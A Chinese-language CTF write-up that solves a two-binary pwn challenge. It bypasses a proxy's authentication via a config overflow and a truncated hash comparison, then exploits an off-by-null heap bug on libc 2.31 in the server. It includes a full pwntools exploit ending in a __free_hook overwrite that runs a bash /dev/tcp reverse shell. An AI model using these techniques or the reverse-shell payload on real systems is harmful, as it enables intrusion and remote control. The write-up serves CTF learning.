哎哎,赛后半小时才打通本地,第一次接触 off-by-null

题目给了 2 个 binary,libc 版本 2.31,咱们分开来看

1 Proxy

1.1 程序分析

用 IDA 打开,看 strings view 可以发现套了一层 UPX 壳,直接脱开

主函数监听本地 8888 端口,fork 子进程处理连接

proxy_main

分析 sub_2CAA,接收一个 TLV,格式如下

4 bytes 4 bytes left bytes
command payload’s length payload

执行 command 前读 config.txt 得到 n 和 d 保存在 .bss 节上
不同 command 功能如下

command function
0xFFFF2525 认证:按小端序接收一个数 x,快速模幂计算 $x^d\enspace\text{mod}\enspace n$,与字符串 ‘hack’ 的哈希进行比较,相同则返回 cookie
0x7F687985 转发:先验证 cookie,然后将 paylaod 剩下部分转发给本地 7777 端口
0x85856547 刷新 config:先将 payload 写进 unk_6140,然后将 src 上保存的 config 内容重新写回 config.txt
0x85856546 看 log,没啥用应该

1.2 漏洞利用

0x85856547 刷新 config 这里存在漏洞,写 unk_6140 可以溢出srcsrc 在 0x6240,只差 0x100 字节,所以可以无认证写 config

proxy_overflow

0xFFFF2525 认证这里存在漏洞,计算 ‘hack’ 哈希值的函数将哈希结果的 byte 2 清 0 了,导致最后 strncmp 只比较 2 个字节

proxy_auth_cmp

proxy_auth_hash

这两个漏洞组合起来就是,无认证写 config,使得 n == 0xffffffffffffffffd == 1,模幂结果就变成了输入本身,哈希算法已给出,要输入的就是 0xE621000000000000,从而完成认证拿到 cookie

分别绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def send_packet(cmd: int, payload: bytes, host="127.0.0.1", port=8888) -> bytes:
hdr = struct.pack("!II", cmd & 0xffffffff, len(payload) & 0xffffffff)
with socket.create_connection((host, port), timeout=3) as s:
s.sendall(hdr + payload)
return recvall(s)

# ---------- stage 1: set config (no auth) ----------
def set_config():
cfg = b"A"*0x100 + b"n=ffffffffffffffff&d=1"
resp = send_packet(0x85856547, cfg)
return resp

# ---------- stage 2: auth to obtain cookie ----------
def auth_cookie() -> bytes:
# Choose v16 so that bswap64(v16) low16 == 0x21e6
# proxy: v27 = bswap64(v16)
# proxy: s1 = (v27)^d mod n
# proxy: compare s1 and sub_250A("hack",4) FNV1a 64-bit with len = 2
v16 = 0xE621000000000000
payload = struct.pack("<Q", v16) # x86-64 little endian load into *(QWORD*)ptr
resp = send_packet(0xFFFF2525, payload)
return resp # expect 32 bytes cookie or "AUTH_FAIL"

# ---------- stage 3: forward to inner server ----------
def forward(cookie32: bytes, inner_payload: bytes) -> bytes:
assert len(cookie32) == 32
return send_packet(0x7F687985, cookie32 + inner_payload)

2 Server

2.1 程序分析

主函数监听本地端口 7777,自己处理连接,sub_15A6 记录了时间戳,sub_151B 又记录时间戳,两个时间戳之间相差太多程序会直接自爆,调试有点麻烦,多了一步就是 set $rax=0

server_main

分析 sub_1BFA,可知发包格式为 rtsp://bzJINo/live{"command":"show","param1":"a","param2":"b","param3":"c"}

其中 bzJINo 是需要验证的 userpart,live 可有可无,{"command":"show","param1":"a","param2":"b","param3":"c"} 是接收的 paylaod,是堆管理的指令和参数

server_handler

其中解析 userpart 的哈希计算用的是 SHA1,而本地存储的值第 3 字节就是 0

server_hash

所以只要爆破就可以得到 userpart,这里算出一个可行的值为 ‘bzJINo’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib
import random
import string

TARGET_PREFIX = bytes([0x23, 0xE6, 0x00])
ALPHABET = string.ascii_letters + string.digits

def sha1_bytes(s: str) -> bytes:
return hashlib.sha1(s.encode()).digest()

def find_userpart(max_len=8):
tries = 0
while True:
L = random.randint(1, max_len)
cand = ''.join(random.choice(ALPHABET) for _ in range(L))
d = sha1_bytes(cand)
tries += 1
if d[:3] == TARGET_PREFIX:
return cand, d, tries
if tries % 1_000_000 == 0:
print(f"[+] tried {tries:,} ... last={cand} sha1[:3]={d[:3].hex()}")

if __name__ == "__main__":
userpart, digest, tries = find_userpart(8)
print("[+] FOUND userpart:", userpart)
print("[+] sha1(userpart) =", digest.hex())
print("[+] tries =", tries)
# USERPART = b"bzJINo"

最后是堆管理部分,实现了功能如下

command function
add 分配一个不大于 0x400 字节的堆块,上限 99 次,可以写内容
delete 根据 index 释放堆块,指针置 0
edit 根据 index 写堆块内容
show 根据 index 输出堆块内容

漏洞点:

  1. add 功能用的 strncpy,写满 size 时不会补 0,使得 show 功能的 %s 可以越界读泄露,不过意义不大
  2. edit 功能主动比较 size,但是用的 <=strcpy,存在 off-by-null

server_edit

2.2 Off-by-null

2.31 版本的 off-by-null,基本思路如下

  1. 准备 3 个堆块,第 3 个堆块为目标堆块,要满足 free 后进入 unsorted bin(足够大或者 tcache 被填满,不与 top chunk 相连)
  2. 利用漏洞将目标堆块 PREV_INUSE 置 0
  3. 伪造已经进入 unsorted bin 的虚假堆块
  4. free 目标堆块,unsorted bin 发生合并,成功构造出 UAF

如下图所示,红色部分就是我们要构造的东西,2.31 会检查伪造的 prevsize 和 size 是否对的上

free target chunk 后它就会和并进入 unsorted bin,并且 unsorted bin 里存放的地址是 addr1,这样我们就可以通过 Chunk1 读写 fake chunk,也可以再将 fake chunk 申请出来

off-by-null

对于本题来说有 size 不大于 0x200 的限制,所以我们要先填满 tcache
本题利用流程如下

  1. alloc-free-alloc 2 个堆块,泄露堆地址
  2. 准备连续的 3 个 0x30、0x30、0x300 大小堆块分别为 chunk1、chunk2、chunk3
  3. 填满 0x300 大小的 tcache
  4. 利用 chunk1、chunk2 伪造 fake chunk
  5. free chunk3 触发合并
  6. alloc 拿到 fake chunk,此时 fake_chunk_addr = chunk1_addr + 0x10
  7. 利用 fake chunk 泄露 libc
  8. free 另一个同大小的 chunk 以及 fake chunk
  9. 利用 chunk1 实现 tcache poisoning,任意地址分配
  10. 修改 __free_hook 指向 system
  11. 写一个 chunk 为 "bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0<&1'"
  12. free 该 chunk 触发反弹 shell

这里附上触发 unsorted bin 合并前后的图

server_before_free

server_after_free

再申请一个 0x100 大小的堆块

server_alloc_100

3 EXP

完整 exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
import socket
import struct
from pwn import *

USERPART = b"bzJINo"

libc = ELF("./libc-2.31.so")

# ---------- helpers ----------
def recvall(sock: socket.socket, limit: int = 1 << 20) -> bytes:
"""Read until EOF (server closes) or limit reached."""
chunks = []
total = 0
while True:
data = sock.recv(8192)
if not data:
break
chunks.append(data)
total += len(data)
if total >= limit:
break
return b"".join(chunks)

def send_packet(cmd: int, payload: bytes, host="127.0.0.1", port=8888) -> bytes:
hdr = struct.pack("!II", cmd & 0xffffffff, len(payload) & 0xffffffff)
with socket.create_connection((host, port), timeout=3) as s:
s.sendall(hdr + payload)
return recvall(s)

# ---------- stage 1: set config (no auth) ----------
def set_config():
cfg = b"A"*0x100 + b"n=ffffffffffffffff&d=1"
resp = send_packet(0x85856547, cfg)
return resp

# ---------- stage 2: auth to obtain cookie ----------
def auth_cookie() -> bytes:
# Choose v16 so that bswap64(v16) low16 == 0x21e6
# proxy: v27 = bswap64(v16)
# proxy: s1 = (v27)^d mod n
# proxy: compare s1 and sub_250A("hack",4) FNV1a 64-bit with len = 2
v16 = 0xE621000000000000
payload = struct.pack("<Q", v16) # x86-64 little endian load into *(QWORD*)ptr
resp = send_packet(0xFFFF2525, payload)
return resp # expect 32 bytes cookie or "AUTH_FAIL"

# ---------- stage 3: forward to inner server ----------
def forward(cookie32: bytes, inner_payload: bytes) -> bytes:
assert len(cookie32) == 32
return send_packet(0x7F687985, cookie32 + inner_payload)

def build_req(command=b"show", p1=b"", p2=b"", p3=b"") -> bytes:
json_part = (
b'{"command":"' + command +
b'","param1":"' + p1 +
b'","param2":"' + p2 +
b'","param3":"' + p3 + b'"}'
)
req = b"rtsp://" + USERPART + b"/live" + json_part
print(f"[>] Request: {req}")
return req

# ---------- main exploit logic ----------
def add(cookie: bytes, size: int, content: bytes):
inner = build_req(command=b"add", p1=str(size).encode(), p2=content)
resp = forward(cookie, inner)
print(f"[>] Response: {resp}\n")

def delete(cookie: bytes, index: int):
inner = build_req(command=b"delete", p1=str(index).encode())
resp = forward(cookie, inner)
print(f"[>] Response: {resp}\n")

def edit(cookie: bytes, index: int, content: str):
inner = build_req(command=b"edit", p1=str(index).encode(), p2=content)
resp = forward(cookie, inner)
print(f"[>] Response: {resp}\n")

def show(cookie: bytes, index: int):
inner = build_req(command=b"show", p1=str(index).encode())
resp = forward(cookie, inner)
print(f"[>] Response: {resp}\n")
return resp

def extract_content(resp: bytes) -> bytes:
a = resp.find(b':')
b = resp.find(b':', a + 1)
if b == -1:
return b""
content = resp[b+1:]
content = content.split(b'\n', 1)[0]
return content

def exploit():
print("[*] set_config:", set_config())

cookie = auth_cookie()

if cookie == b"AUTH_FAIL" or len(cookie) != 32:
print("[-] auth failed; got:", cookie)
raise SystemExit(1)
else:
print("[*] auth response len =", len(cookie), "data =", cookie[:64])

add(cookie, 0x28, b"A"*0x28) # 0
add(cookie, 0x28, b"B"*0x28) # 1
delete(cookie, 1)
delete(cookie, 0)
add(cookie, 0x28, b"") # 2
add(cookie, 0x28, b"B"*0x28) # 3

resp = show(cookie, 2)
content = extract_content(resp)
chunk_b_addr = u64(content[:6].ljust(8, b"\x00"))
chunk_a_addr = chunk_b_addr - 0x30
print(f"[+] chunk_b_addr: " + hex(chunk_b_addr))

for i in range(8):
add(cookie, 0x2f8, b"C"*0x10) # 4 5 6 7 8 9 10 11

for i in range(7):
delete(cookie, 5 + i)

add(cookie, 0x38, b"D"*0x38) # 12

edit(cookie, 2, b"A"*0x1f)
edit(cookie, 2, b"A"*0x18 + p64(chunk_b_addr-0x10).strip(b"\x00"))
edit(cookie, 2, b"A"*0x17)
edit(cookie, 2, b"A"*0x10 + p64(chunk_b_addr-0x18).strip(b"\x00"))

edit(cookie, 2, b"B"*0x8 + p64(0x51515151515151).strip(b"\x00"))
edit(cookie, 2, b"B"*0x8 + p64(0x515151515151).strip(b"\x00"))
edit(cookie, 2, b"B"*0x8 + p64(0x5151515151).strip(b"\x00"))
edit(cookie, 2, b"B"*0x8 + p64(0x51515151).strip(b"\x00"))
edit(cookie, 2, b"B"*0x8 + p64(0x515151).strip(b"\x00"))
edit(cookie, 2, b"B"*0x8 + p64(0x5151).strip(b"\x00"))
edit(cookie, 2, b"B"*0x8 + p64(0x51).strip(b"\x00"))

edit(cookie, 3, b"B"*0x28)
edit(cookie, 3, b"B"*0x20 + p64(0x50505050505050).strip(b"\x00"))
edit(cookie, 3, b"B"*0x20 + p64(0x505050505050).strip(b"\x00"))
edit(cookie, 3, b"B"*0x20 + p64(0x5050505050).strip(b"\x00"))
edit(cookie, 3, b"B"*0x20 + p64(0x50505050).strip(b"\x00"))
edit(cookie, 3, b"B"*0x20 + p64(0x505050).strip(b"\x00"))
edit(cookie, 3, b"B"*0x20 + p64(0x5050).strip(b"\x00"))
edit(cookie, 3, b"B"*0x20 + p64(0x50).strip(b"\x00"))
edit(cookie, 3, b"B"*0x7)
edit(cookie, 3, p64(chunk_a_addr).strip(b"\x00"))

delete(cookie, 4)

add(cookie, 0x100, b"") # 13
resp = show(cookie, 13)
content = extract_content(resp)
libc_leak = u64(content[:6].ljust(8, b"\x00"))
libc_base = libc_leak - 0x1ecf20
print(f"[+] libc_base: " + hex(libc_base))

system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]

add(cookie, 0x100, b"") # 14
delete(cookie, 14)
delete(cookie, 13)

edit(cookie, 2, b"X"*0x10 + p64(free_hook).strip(b"\x00"))
add(cookie, 0x100, b"") # 15
add(cookie, 0x100, b"") # 16

edit(cookie, 16, p64(system).strip(b"\x00"))

edit(cookie, 12, b"bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0<&1'")

delete(cookie, 12)

if __name__ == "__main__":
exploit()

# print("[*] set_config:", set_config())

# cookie = auth_cookie()
# print("[*] auth response len =", len(cookie), "data =", cookie[:64])

# if cookie == b"AUTH_FAIL" or len(cookie) != 32:
# print("[-] auth failed; got:", cookie)
# raise SystemExit(1)

# add(0x28, b"A"*0x28) # 0